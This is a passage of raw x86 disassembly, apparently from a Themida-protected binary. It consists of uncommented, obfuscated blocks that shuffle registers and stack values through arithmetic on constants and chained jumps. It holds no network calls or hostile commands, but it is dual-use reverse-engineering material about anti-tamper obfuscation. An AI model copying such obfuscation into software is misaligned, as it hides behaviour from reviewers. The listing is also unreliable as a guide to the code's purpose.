add ebp, 0A8947472h
jmp loc_563396
; ---------------------------------------------------------------------------
loc_55DB80: ; CODE XREF: Themida_:005541F3j
push ecx
mov cl, 78h
push dx
mov dl, 97h
add cl, dl
pop dx
sub cl, 91h
push edx
mov dh, 2Dh
and cl, dh
pop edx
shl cl, 8
push edx
mov dh, 81h
jmp loc_563BFD
; ---------------------------------------------------------------------------
loc_55DB9F: ; CODE XREF: Themida_:00561828j
xor ebp, 2BA9421Ah
jmp loc_55BF18
; ---------------------------------------------------------------------------
loc_55DBAA: ; CODE XREF: Themida_:0055AD67j
mov [esp], edi
jmp loc_562715
; ---------------------------------------------------------------------------
loc_55DBB2: ; CODE XREF: Themida_:00550E55j
push ebp
jmp loc_562162
; ---------------------------------------------------------------------------
loc_55DBB8: ; CODE XREF: Themida_:0055A3C5j
add ebp, 4
jmp loc_5593FA
; ---------------------------------------------------------------------------
loc_55DBC3: ; CODE XREF: Themida_:00557A3Dj
pop eax
xchg edi, [esp]
pop esp
add ebx, eax
push esi
jmp loc_55C97E
; ---------------------------------------------------------------------------
loc_55DBD0: ; CODE XREF: Themida_:00553974j
and ecx, edi
pop edi
shl ecx, 1
add ecx, 1A6C9AFDh
jmp loc_5534D1
; ---------------------------------------------------------------------------
loc_55DBE0: ; CODE XREF: Themida_:00551C38j
pop esp
push ecx
mov ecx, 4
add eax, ecx
jmp loc_552149
; ---------------------------------------------------------------------------
loc_55DBEE: ; CODE XREF: Themida_:00555A03j
dec ecx
not ecx
add ecx, 5B7D5145h
mov edx, ecx
pop ecx
add [esp+4], edx
pop edx
pop ebx
add ebx, 4
push 48F5h
mov [esp], ebp
jmp loc_55D2B5
; ---------------------------------------------------------------------------
loc_55DC13: ; CODE XREF: Themida_:0055D1D3j
mov esp, [esp]
push edi
jmp loc_559DE2
; ---------------------------------------------------------------------------
loc_55DC1C: ; CODE XREF: Themida_:00553905j
push dword ptr [esp]
pop edx
jmp loc_55E32C
; ---------------------------------------------------------------------------
loc_55DC25: ; CODE XREF: Themida_:00550EAAj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_560F43
; ---------------------------------------------------------------------------
loc_55DC36: ; CODE XREF: Themida_:0055B539j
add ebx, 0B0C8C811h
add edi, ebx
mov ebx, [esp]
add esp, 4
xchg edi, [esp]
pop esp
jmp loc_5514BA
; ---------------------------------------------------------------------------
loc_55DC4D: ; CODE XREF: Themida_:00560A3Aj
mov ebx, 598C54D8h
jmp loc_552AE9
; ---------------------------------------------------------------------------
loc_55DC57: ; CODE XREF: Themida_:00550A0Bj
push edx
mov edx, 439369EFh
sub edx, 0FFFFFFFFh
shr edx, 7
add edx, 45156B32h
dec edx
shl edx, 1
jmp loc_559EA0
; ---------------------------------------------------------------------------
loc_55DC74: ; CODE XREF: Themida_:00562B59j
mov eax, [esp]
push esi
push esp
pop esi
add esi, 4
jmp loc_55F8DD
; ---------------------------------------------------------------------------
loc_55DC85: ; CODE XREF: Themida_:005608DAj
sub al, cl
jmp loc_552AA7
; ---------------------------------------------------------------------------
loc_55DC8C: ; CODE XREF: Themida_:005654ADj
push dword ptr [esp]
pop esi
jmp loc_55D630
; ---------------------------------------------------------------------------
loc_55DC95: ; CODE XREF: Themida_:0055BE83j
sub esp, 4
mov [esp], esi
mov esi, 7FBCE507h
add eax, 88344D6h
push ebx
mov ebx, 1D22678h
sub eax, ebx
jmp loc_556BCE
; ---------------------------------------------------------------------------
loc_55DCB5: ; CODE XREF: Themida_:00562DD3j
add ebp, 4
jmp loc_559B22
; ---------------------------------------------------------------------------
loc_55DCC0: ; CODE XREF: Themida_:005596D8j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55DCC5: ; CODE XREF: Themida_:0055E5CFj
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5643B7
; ---------------------------------------------------------------------------
loc_55DCE0: ; CODE XREF: Themida_:005533F8j
pop esp
mov [esp], esi
mov esi, 35AB1158h
jmp loc_558D2F
; ---------------------------------------------------------------------------
loc_55DCEE: ; CODE XREF: Themida_:00564C0Fj
shr esi, 7
xor esi, 206A3F54h
sub eax, esi
mov esi, [esp]
jmp loc_554ECD
; ---------------------------------------------------------------------------
loc_55DD01: ; CODE XREF: Themida_:00565BCDj
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push 21C1h
mov [esp], edi
push eax
push esi
push 665C2100h
jmp loc_55A979
; ---------------------------------------------------------------------------
loc_55DD29: ; CODE XREF: Themida_:00553F83j
inc dword ptr [esp]
pop edi
xchg ebp, edi
dec ebp
jmp loc_561A62
; ---------------------------------------------------------------------------
loc_55DD35: ; CODE XREF: Themida_:00556F8Dj
mov ecx, [esp]
add esp, 4
add eax, edi
add eax, 16145A36h
jmp loc_558D85
; ---------------------------------------------------------------------------
loc_55DD4A: ; CODE XREF: Themida_:00551DE8j
add edx, 0F4017483h
mov eax, edx
pop edx
push eax
mov eax, 1F59481Ch
add ecx, 707750B7h
jmp loc_565CA9
; ---------------------------------------------------------------------------
loc_55DD64: ; CODE XREF: Themida_:0055EF7Cj
add ebp, 3690612Eh
neg ebp
push ebp
jmp loc_55685D
; ---------------------------------------------------------------------------
loc_55DD72: ; CODE XREF: Themida_:00562AEFj
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_5595B7
; ---------------------------------------------------------------------------
loc_55DD80: ; CODE XREF: Themida_:0056020Ej
push 0D40h
jmp loc_550D26
; ---------------------------------------------------------------------------
loc_55DD8A: ; CODE XREF: Themida_:0055C122j
push eax
mov eax, 7B8719E3h
add [esp+4], eax
mov eax, [esp]
add esp, 4
jmp loc_565510
; ---------------------------------------------------------------------------
loc_55DD9F: ; CODE XREF: Themida_:0055BFF3j
add esi, 77C42039h
sub esi, 758E1132h
add esi, 3E582B83h
jmp loc_55B228
; ---------------------------------------------------------------------------
loc_55DDB6: ; CODE XREF: Themida_:0055E826j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55DDBB: ; CODE XREF: Themida_:0055FD6Aj
add eax, 0FFFFFFFFh
add eax, 48D63FA2h
jmp loc_55526F
; ---------------------------------------------------------------------------
loc_55DDC8: ; CODE XREF: Themida_:0055EF3Fj
add eax, edi
add eax, 38002E0Bh
pop edi
jmp loc_55B66D
; ---------------------------------------------------------------------------
loc_55DDD5: ; CODE XREF: Themida_:00563FA9j
add esp, 4
xor ebx, eax
pop small word ptr [eax]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55DDE5: ; CODE XREF: Themida_:00559C0Bj
add ebp, eax
pop eax
sub ebx, ebp
pop ebp
jmp loc_564A63
; ---------------------------------------------------------------------------
loc_55DDF0: ; CODE XREF: Themida_:005644DCj
pop ecx
xor ecx, 274157CDh
jmp loc_5548B2
; ---------------------------------------------------------------------------
loc_55DDFC: ; CODE XREF: Themida_:005647E3j
push edx
mov edx, 679361Ch
not edx
and edx, 3B740EAEh
inc edx
xor edx, 1D7F258Ah
jmp loc_556703
; ---------------------------------------------------------------------------
loc_55DE16: ; CODE XREF: Themida_:0055237Bj
add ebx, 4
sub ebx, 4
push ebx
jmp loc_555508
; ---------------------------------------------------------------------------
loc_55DE25: ; CODE XREF: Themida_:00550DFFj
mov dl, 30h
jmp loc_55D031
; ---------------------------------------------------------------------------
loc_55DE2C: ; CODE XREF: Themida_:00551FF2j
sub ecx, esi
pop esi
xor ecx, 75652A25h
push ebx
mov ebx, 25F12FCEh
jmp loc_563EA8
; ---------------------------------------------------------------------------
loc_55DE40: ; CODE XREF: Themida_:00555B69j
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
push dword ptr [esp]
jmp loc_5514E6
; ---------------------------------------------------------------------------
loc_55DE4F: ; CODE XREF: Themida_:0055132Fj
mov dh, 0D0h
add al, dh
jmp loc_5529AE
; ---------------------------------------------------------------------------
loc_55DE58: ; CODE XREF: Themida_:0056365Aj
mov edi, 2
mov eax, edi
jmp loc_557644
; ---------------------------------------------------------------------------
loc_55DE64: ; CODE XREF: Themida_:00558648j
neg ebx
xor ebx, 0F9F825FFh
jmp loc_55FBEA
; ---------------------------------------------------------------------------
loc_55DE71: ; CODE XREF: Themida_:0055FC4Fj
xor [esp], eax
pushf
jmp loc_563C2E
; ---------------------------------------------------------------------------
loc_55DE7A: ; CODE XREF: Themida_:00565905j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55DE7F: ; CODE XREF: Themida_:0055886Ej
mov ebx, [esp]
add esp, 4
push ebx
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov dh, 2Ah
push 4182h
mov [esp], eax
jmp loc_55D81D
; ---------------------------------------------------------------------------
loc_55DEA7: ; CODE XREF: Themida_:0055783Ej
not ch
inc ch
or ch, 90h
xor ch, 3Ah
push eax
mov ah, 0A0h
add ah, 0D9h
add ch, 0BCh
add ch, ah
jmp loc_550621
; ---------------------------------------------------------------------------
loc_55DEC1: ; CODE XREF: Themida_:00564EAEj
xor ecx, [esp]
pop esp
mul cl
jmp loc_565B97
; ---------------------------------------------------------------------------
loc_55DECC: ; CODE XREF: Themida_:0055A68Cj
push ecx
jmp loc_55ABF7
; ---------------------------------------------------------------------------
loc_55DED2: ; CODE XREF: Themida_:00555357j
mov edx, 29EC0154h
add edx, 0D613FEB0h
jmp loc_558A9E
; ---------------------------------------------------------------------------
push 6E29h
jmp loc_55CFA1
; ---------------------------------------------------------------------------
loc_55DEEC: ; CODE XREF: Themida_:0055557Bj
add esp, 4
push 1DFCh
jmp loc_5607C7
; ---------------------------------------------------------------------------
loc_55DEFC: ; CODE XREF: Themida_:0055677Fj
xor [esp], edi
xor edi, [esp]
pop esp
sar byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55DF1C: ; CODE XREF: Themida_:00563A49j
mov ax, [esp]
push ecx
mov ecx, esp
jmp loc_5607B6
; ---------------------------------------------------------------------------
loc_55DF28: ; CODE XREF: Themida_:0056066Ej
xor eax, edi
xor edi, eax
jmp loc_55CD39
; ---------------------------------------------------------------------------
loc_55DF31: ; CODE XREF: Themida_:0055EF04j
add eax, 9FA23DFh
sub eax, esi
sub eax, 9FA23DFh
push ebx
mov ebx, 60D97EE7h
shr ebx, 1
add ebx, 240C6BC0h
and ebx, 15F11210h
push edi
jmp loc_5622F4
; ---------------------------------------------------------------------------
loc_55DF57: ; CODE XREF: Themida_:0055E81Cj
inc cl
jmp loc_55FD0A
; ---------------------------------------------------------------------------
loc_55DF5E: ; CODE XREF: Themida_:005570BBj
add ebx, 4
xchg ebx, [esp]
pop esp
add edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_561628
; ---------------------------------------------------------------------------
loc_55DF78: ; CODE XREF: Themida_:0055D198j
mov cl, 65h
jmp loc_55FB0F
; ---------------------------------------------------------------------------
loc_55DF7F: ; CODE XREF: Themida_:0055C4D5j
pop ebx
push esi
mov esi, 612447D1h
xor esi, 612447D5h
add ebx, esi
jmp loc_55A1ED
; ---------------------------------------------------------------------------
lodsd
push edi
jmp loc_5574FF
; ---------------------------------------------------------------------------
loc_55DF9A: ; CODE XREF: Themida_:00556BFBj
push 34DEh
mov [esp], esi
jmp loc_5637FA
; ---------------------------------------------------------------------------
loc_55DFA7: ; CODE XREF: Themida_:005533C0j
mov esi, 4972AB7h
or esi, 3A070D8Bh
xor esi, 55AD28C5h
jmp loc_55BB86
; ---------------------------------------------------------------------------
loc_55DFBD: ; CODE XREF: Themida_:005607B1j
shl esi, 7
neg esi
xor esi, 92588643h
sub eax, esi
jmp loc_551E5D
; ---------------------------------------------------------------------------
loc_55DFCF: ; CODE XREF: Themida_:00563C88j
sub esp, 4
mov [esp], esp
jmp loc_55F4D4
; ---------------------------------------------------------------------------
loc_55DFDD: ; CODE XREF: Themida_:005542D6j
sub ebp, 7CD1410Eh
jmp loc_5529F7
; ---------------------------------------------------------------------------
loc_55DFE8: ; CODE XREF: Themida_:00564C68j
add eax, ebp
pop ebp
add eax, 2
jmp loc_563222
; ---------------------------------------------------------------------------
loc_55DFF3: ; CODE XREF: Themida_:0055765Aj
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_563DE2
; ---------------------------------------------------------------------------
loc_55E00D: ; CODE XREF: Themida_:00556253j
mov [esp], eax
push esp
pop eax
push esi
jmp loc_55C460
; ---------------------------------------------------------------------------
loc_55E018: ; CODE XREF: Themida_:00554CEBj
mov dh, 0CBh
mov al, dh
pop edx
jmp loc_557E4A
; ---------------------------------------------------------------------------
loc_55E022: ; CODE XREF: Themida_:00564BD1j
push 152Ah
mov [esp], ebx
jmp loc_557D0D
; ---------------------------------------------------------------------------
loc_55E02F: ; CODE XREF: Themida_:0055D631j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ecx
push 2C2Ch
mov [esp], edi
push esi
jmp loc_550D8E
; ---------------------------------------------------------------------------
loc_55E054: ; CODE XREF: Themida_:00556A86j
and edx, ecx
jmp loc_55B607
; ---------------------------------------------------------------------------
loc_55E05B: ; CODE XREF: Themida_:0055AB9Aj
sub eax, 9307C03h
push 12Ch
mov [esp], edi
mov edi, 7F57843h
sub eax, 7DA81BDBh
add eax, 221762AAh
jmp loc_55CB09
; ---------------------------------------------------------------------------
loc_55E07C: ; CODE XREF: Themida_:00561125j
pop esp
mov [esp], edi
mov edi, ebp
mov edx, edi
jmp loc_55CD53
; ---------------------------------------------------------------------------
loc_55E089: ; CODE XREF: Themida_:0055092Fj
mov dx, [esp]
add esp, 2
push ebx
push ecx
mov ch, 0A3h
jmp loc_554D33
; ---------------------------------------------------------------------------
loc_55E099: ; CODE XREF: Themida_:00560701j
sub cl, 0A9h
jmp loc_565521
; ---------------------------------------------------------------------------
loc_55E0A1: ; CODE XREF: Themida_:00550BA8j
push edi
push ecx
jmp loc_56566F
; ---------------------------------------------------------------------------
loc_55E0A8: ; CODE XREF: Themida_:00556CCFj
mov edi, [esp]
jmp loc_5631FD
; ---------------------------------------------------------------------------
loc_55E0B0: ; CODE XREF: Themida_:00559D5Cj
mov [esp], ax
mov ah, 55h
xor bl, ah
pop ax
push ecx
mov ch, 0A0h
sub ch, 0C5h
push edx
mov dh, 0E8h
or dh, 5Ch
sub dh, 20h
and ch, dh
pop edx
jmp loc_560A66
; ---------------------------------------------------------------------------
loc_55E0D1: ; CODE XREF: Themida_:0056405Fj
xor edx, [esp]
mov esp, [esp]
mov [esp], ebx
sub esp, 4
mov [esp], esp
jmp loc_55388B
; ---------------------------------------------------------------------------
loc_55E0E8: ; CODE XREF: Themida_:0055D67Dj
mov [esp], edi
mov edi, 3E6028ECh
push esi
jmp loc_558968
; ---------------------------------------------------------------------------
loc_55E0F6: ; CODE XREF: Themida_:00551F58j
pop edi
add eax, ecx
jmp loc_56590A
; ---------------------------------------------------------------------------
loc_55E0FE: ; CODE XREF: Themida_:00553026j
pop ecx
jmp loc_55ABBB
; ---------------------------------------------------------------------------
loc_55E104: ; CODE XREF: Themida_:0055ABB6j
add ecx, 4
xchg ecx, [esp]
pop esp
push edx
mov edx, esp
sub esp, 4
mov [esp], ebp
jmp loc_55ACA6
; ---------------------------------------------------------------------------
loc_55E11C: ; CODE XREF: Themida_:0055A0FCj
push edx
jmp loc_55390A
; ---------------------------------------------------------------------------
loc_55E122: ; CODE XREF: Themida_:005573DEj
mov edx, [esp]
jmp loc_56522F
; ---------------------------------------------------------------------------
loc_55E12A: ; CODE XREF: Themida_:00563095j
push eax
mov eax, 61F80844h
jmp loc_55AB59
; ---------------------------------------------------------------------------
loc_55E135: ; CODE XREF: Themida_:00561792j
mov eax, 3DFF7862h
jmp loc_5512EF
; ---------------------------------------------------------------------------
loc_55E13F: ; CODE XREF: Themida_:00550E3Ej
xor ah, 84h
or ah, 9Ch
jmp loc_556F2A
; ---------------------------------------------------------------------------
loc_55E14A: ; CODE XREF: Themida_:005650AAj
add dword ptr [esp], 4
pop esi
jmp loc_55A842
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55E15F: ; CODE XREF: Themida_:00554338j
add edi, edx
pop edx
xchg edi, [esp]
pop esp
and ecx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
shr ecx, 2
sub esp, 4
mov [esp], ebx
jmp loc_5649F2
; ---------------------------------------------------------------------------
loc_55E185: ; CODE XREF: Themida_:0055B4EFj
mov [esp], edx
mov edx, 1B9B5028h
sub ebp, edx
pop edx
pop eax
jmp loc_55F0D8
; ---------------------------------------------------------------------------
loc_55E196: ; CODE XREF: Themida_:005523B3j
mov ebx, 4C4107FDh
and edx, ebx
push dword ptr [esp]
pop ebx
jmp loc_55BFE1
; ---------------------------------------------------------------------------
loc_55E1A6: ; CODE XREF: Themida_:00551C4Cj
dec esi
add esi, 83727BFDh
jmp loc_55AE32
; ---------------------------------------------------------------------------
loc_55E1B2: ; CODE XREF: Themida_:0055CC28j
add eax, 2DA056E9h
sub eax, ecx
sub eax, 2DA056E9h
sub eax, 61D37602h
jmp loc_55BF7B
; ---------------------------------------------------------------------------
loc_55E1C8: ; CODE XREF: Themida_:00564C8Aj
add eax, edi
pop edi
jmp loc_564EF9
; ---------------------------------------------------------------------------
loc_55E1D0: ; CODE XREF: Themida_:00553095j
push esp
pop eax
push ebx
mov ebx, 0E025DF4h
push edx
push ebp
push 6B2568A3h
pop ebp
dec ebp
jmp loc_55805A
; ---------------------------------------------------------------------------
loc_55E1E6: ; CODE XREF: Themida_:0055A82Dj
add eax, 4F140E83h
add eax, ebx
sub eax, 4F140E83h
push dword ptr [esp]
pop ebx
push ebx
push 74FEh
jmp loc_564313
; ---------------------------------------------------------------------------
loc_55E201: ; CODE XREF: Themida_:00559B1Dj
sub esi, 3E992435h
not esi
push ebp
jmp loc_5602D2
; ---------------------------------------------------------------------------
loc_55E20F: ; CODE XREF: Themida_:005557BAj
mov [esp], edx
mov edx, 5CB21543h
jmp loc_558F4B
; ---------------------------------------------------------------------------
loc_55E21C: ; CODE XREF: Themida_:005566CFj
add esp, 4
add ecx, 0FFFFFFFFh
sub esp, 4
mov [esp], eax
mov eax, 47D940DDh
add eax, 0EAAE2CEEh
and ecx, eax
pop eax
sub ecx, 31E36D92h
xor ecx, 3F7B5C12h
sub esp, 4
mov [esp], ebp
mov ebp, 0CFD8A021h
jmp loc_5526BF
; ---------------------------------------------------------------------------
loc_55E254: ; CODE XREF: Themida_:0055BA9Cj
sub esp, 4
jmp loc_55B5BF
; ---------------------------------------------------------------------------
loc_55E25F: ; CODE XREF: Themida_:0055848Ej
add esp, 4
push ecx
jmp loc_55C992
; ---------------------------------------------------------------------------
loc_55E268: ; CODE XREF: Themida_:00564590j
mov eax, 6F116060h
xor eax, esi
jmp loc_564F73
; ---------------------------------------------------------------------------
loc_55E274: ; CODE XREF: Themida_:00551F63j
add ebp, eax
add ebp, 0F9235C2h
sub ebp, 553746FCh
mov eax, [esp]
add esp, 4
push ecx
push eax
mov eax, 1DC2204h
sub eax, 7E8C3F93h
shr eax, 8
push 5E5Eh
jmp loc_553DD9
; ---------------------------------------------------------------------------
loc_55E2A4: ; CODE XREF: Themida_:00555C8Fj
sub eax, 3FF01C47h
jmp loc_554C1B
; ---------------------------------------------------------------------------
loc_55E2AE: ; CODE XREF: Themida_:0055BF13j
add al, 50h
push edx
jmp loc_55B181
; ---------------------------------------------------------------------------
loc_55E2B6: ; CODE XREF: Themida_:005519E4j
pop edi
pop ecx
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push 41AFh
jmp loc_553FD2
; ---------------------------------------------------------------------------
loc_55E2CD: ; CODE XREF: Themida_:0055ADDAj
pop esp
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_563A46
; ---------------------------------------------------------------------------
loc_55E2DE: ; CODE XREF: Themida_:00558BD0j
push 77C4h
mov [esp], edi
mov edi, 580059DAh
jmp loc_561800
; ---------------------------------------------------------------------------
loc_55E2F0: ; CODE XREF: Themida_:00558542j
xor ebp, 3AC449A2h
sub ebp, 0E9DF928Bh
xor ecx, ebp
pop ebp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_563442
; ---------------------------------------------------------------------------
loc_55E31A: ; CODE XREF: Themida_:00553478j
mov ebp, 61371EE0h
mov eax, 0DFA32926h
sub eax, ebp
pop ebp
jmp loc_55150D
; ---------------------------------------------------------------------------
loc_55E32C: ; CODE XREF: Themida_:0055DC20j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_5593D1
; ---------------------------------------------------------------------------
loc_55E343: ; CODE XREF: Themida_:00565AABj
push 48DB062Eh
jmp loc_55A2AA
; ---------------------------------------------------------------------------
loc_55E34D: ; CODE XREF: Themida_:00551F06j
add edx, 25566D74h
push eax
push edx
push ecx
mov ecx, 15DC3DABh
add ecx, 5777535Ch
sub ecx, 63A65F6Dh
inc ecx
shl ecx, 6
add ecx, 0B22EE960h
mov edx, ecx
pop ecx
jmp loc_558DA0
; ---------------------------------------------------------------------------
loc_55E379: ; CODE XREF: Themida_:005515AFj
sub ecx, 1CF449Bh
add ecx, 7D5F290Eh
mov eax, 4F9A7EAFh
sub eax, ecx
pop ecx
add esi, 799A235Eh
add esi, eax
push ebx
jmp loc_5617E6
; ---------------------------------------------------------------------------
loc_55E39B: ; CODE XREF: Themida_:005511D4j
sub [esp+4], ebp
jmp loc_56434E
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_55F2A9
; ---------------------------------------------------------------------------
loc_55E3BB: ; CODE XREF: Themida_:0055D7E3j
sub esi, edi
sub esi, 1D3F226Fh
push ecx
mov ecx, 43C10EEEh
neg ecx
neg ecx
jmp loc_552B8F
; ---------------------------------------------------------------------------
loc_55E3D2: ; CODE XREF: Themida_:00563E40j
push ebp
push 63D05E8Fh
pop ebp
push ebx
push 6221067Ch
pop ebx
shl ebx, 6
push ebp
mov ebp, 18D260A8h
jmp loc_55F261
; ---------------------------------------------------------------------------
loc_55E3EE: ; CODE XREF: Themida_:0055200Fj
add esp, 4
push edi
jmp loc_56107C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55E406: ; CODE XREF: Themida_:00555B03j
sub dword ptr [esp+8], 1A8F07B2h
add dword ptr [esp+8], 7D533258h
jmp loc_550E52
; ---------------------------------------------------------------------------
loc_55E41B: ; CODE XREF: Themida_:00557A81j
pop esi
shr edi, 4
not edi
or edi, 3C62140Ah
sub edi, 7B8C6343h
shr edi, 8
sub edi, 0ABCA46C6h
sub ebx, edi
jmp loc_55E627
; ---------------------------------------------------------------------------
loc_55E43D: ; CODE XREF: Themida_:0055A1C5j
add edi, 408E994Ah
add ecx, edi
pop edi
add eax, ecx
jmp loc_558CF6
; ---------------------------------------------------------------------------
loc_55E44D: ; CODE XREF: Themida_:0055D54Aj
push edx
jmp loc_562630
; ---------------------------------------------------------------------------
loc_55E453: ; CODE XREF: Themida_:00562F95j
push eax
mov eax, 2413459h
push edi
mov edi, 14F4F3F2h
mov ebx, edi
pop edi
add ebx, eax
jmp loc_55F47B
; ---------------------------------------------------------------------------
loc_55E469: ; CODE XREF: Themida_:00558825j
neg edx
xor edx, 0EEEEBE8Eh
push esi
mov esi, 22EB6186h
add ebx, esi
pop esi
add ebx, edx
sub ebx, 22EB6186h
mov edx, [esp]
add esp, 4
jmp loc_55DABA
; ---------------------------------------------------------------------------
loc_55E48D: ; CODE XREF: Themida_:0055FBC7j
xchg edi, [esp]
pop esp
push ecx
jmp loc_550D06
; ---------------------------------------------------------------------------
loc_55E497: ; CODE XREF: Themida_:0056236Cj
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub bl, 6Dh
jmp loc_55B8F5
; ---------------------------------------------------------------------------
loc_55E4B3: ; CODE XREF: Themida_:00562343j
mov ah, 0C0h
push ecx
sub esp, 4
mov [esp], edx
mov dh, ah
mov ch, dh
mov edx, [esp]
add esp, 4
inc ch
mov ah, ch
jmp loc_555A08
; ---------------------------------------------------------------------------
loc_55E4D5: ; CODE XREF: Themida_:0055AFB1j
not edx
shl edx, 4
jmp loc_55BD5A
; ---------------------------------------------------------------------------
loc_55E4DF: ; CODE XREF: Themida_:005604D6j
push 6FAEh
mov [esp], edx
push esp
pop edx
sub esp, 4
mov [esp], ebx
push ebp
push ecx
mov ecx, 401859E5h
mov ebp, ecx
pop ecx
jmp loc_55BEB6
; ---------------------------------------------------------------------------
loc_55E4FE: ; CODE XREF: Themida_:0055F97Dj
add esi, edi
jmp loc_55FD6F
; ---------------------------------------------------------------------------
loc_55E505: ; CODE XREF: Themida_:00558203j
xchg cl, bl
not cl
xor bl, cl
xor cl, bl
xor bl, cl
push eax
mov ah, 0DEh
push small 321Fh
jmp loc_5530A6
; ---------------------------------------------------------------------------
loc_55E51B: ; CODE XREF: Themida_:005556F4j
add esi, ebx
sub esi, 722065B7h
pop ebx
sub esi, 4
jmp loc_5531C9
; ---------------------------------------------------------------------------
loc_55E52C: ; CODE XREF: Themida_:00564E0Cj
mov ecx, 78812FC3h
and ebp, ecx
push dword ptr [esp]
jmp loc_55F5DA
; ---------------------------------------------------------------------------
loc_55E53B: ; CODE XREF: Themida_:0055B2CDj
push dword ptr [esp+4]
pop ecx
jmp loc_55069F
; ---------------------------------------------------------------------------
loc_55E545: ; CODE XREF: Themida_:0055B072j
or ebp, 418E1739h
add ebp, 0EFCC5D05h
xor edx, ebp
push dword ptr [esp]
jmp loc_555D58
; ---------------------------------------------------------------------------
loc_55E55B: ; CODE XREF: Themida_:005551A0j
pop edi
push ebx
mov ebx, 4CCE2FF3h
shl ebx, 1
jmp loc_551D1A
; ---------------------------------------------------------------------------
loc_55E569: ; CODE XREF: Themida_:005577AAj
mov [esp], edi
push esp
pop edi
push 51E3h
mov [esp], eax
mov eax, 4
add edi, eax
pop eax
push ebx
mov ebx, 7A4C05A6h
shr ebx, 5
or ebx, 35907173h
and ebx, 5A85350Dh
jmp loc_55E65C
; ---------------------------------------------------------------------------
loc_55E598: ; CODE XREF: Themida_:005544B6j
xor eax, edi
pop edi
push eax
mov eax, 2CA3659Dh
jmp loc_56052F
; ---------------------------------------------------------------------------
loc_55E5A6: ; CODE XREF: Themida_:00563D44j
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
jmp loc_551887
; ---------------------------------------------------------------------------
loc_55E5B7: ; CODE XREF: Themida_:00565C8Fj
mov eax, 271725FBh
jmp loc_561091
; ---------------------------------------------------------------------------
loc_55E5C1: ; CODE XREF: Themida_:0055ADCCj
add eax, 72256409h
pop esi
push 59B1h
mov [esp], eax
jmp loc_55DCC5
; ---------------------------------------------------------------------------
loc_55E5D4: ; CODE XREF: Themida_:00551725j
mov al, cl
mov dl, al
mov eax, [esp]
jmp loc_55AAB3
; ---------------------------------------------------------------------------
loc_55E5E0: ; CODE XREF: Themida_:005534B1j
sub edi, ebp
pop ebp
add edi, ebx
add edi, 2FBB3B09h
mov ebx, [esp]
add esp, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop edx
jmp loc_556CF4
; ---------------------------------------------------------------------------
loc_55E5FE: ; CODE XREF: Themida_:00555721j
add esp, 4
jmp loc_5657A8
; ---------------------------------------------------------------------------
loc_55E606: ; CODE XREF: Themida_:0056215Dj
pop edi
mov ecx, esi
pop esi
push ecx
sub dword ptr [esp], 7DC44ADAh
pop esi
add esi, 7DC44ADAh
mov ecx, [esp]
add esp, 4
jmp loc_556DF4
; ---------------------------------------------------------------------------
loc_55E627: ; CODE XREF: Themida_:0055E438j
pop edi
push dword ptr [esp]
pop edx
jmp loc_558FEB
; ---------------------------------------------------------------------------
loc_55E631: ; CODE XREF: Themida_:00562D56j
push esi
mov esi, 24E559F4h
xor edx, esi
jmp loc_557883
; ---------------------------------------------------------------------------
loc_55E63E: ; CODE XREF: Themida_:0055FC7Dj
xor ebp, 653F1A83h
jmp loc_565002
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
push ebx
jmp loc_559023
; ---------------------------------------------------------------------------
loc_55E654: ; CODE XREF: Themida_:005644E8j
xor ah, dl
pop edx
jmp loc_5611EC
; ---------------------------------------------------------------------------
loc_55E65C: ; CODE XREF: Themida_:0055E593j
xor ebx, 12803109h
add edi, 59281C69h
sub edi, ebx
push edx
mov edx, 70F83345h
and edx, 1CB555FFh
xor edx, 3D3B3D0Eh
jmp loc_5575CC
; ---------------------------------------------------------------------------
loc_55E681: ; CODE XREF: Themida_:00558A99j
push esi
not dword ptr [esp]
pop esi
neg esi
jmp loc_557BDB
; ---------------------------------------------------------------------------
loc_55E68D: ; CODE XREF: Themida_:00562156j
mov ecx, [esp]
add esp, 4
push edx
push edi
mov edi, 16545F5Bh
mov edx, 0E9ABA0A4h
add edx, edi
pop edi
add ebp, 3AFD160Dh
jmp loc_562095
; ---------------------------------------------------------------------------
loc_55E6AD: ; CODE XREF: Themida_:00554EAFj
mov edx, 64054AE5h
push 64054AE1h
pop eax
xor eax, edx
jmp loc_554A9A
; ---------------------------------------------------------------------------
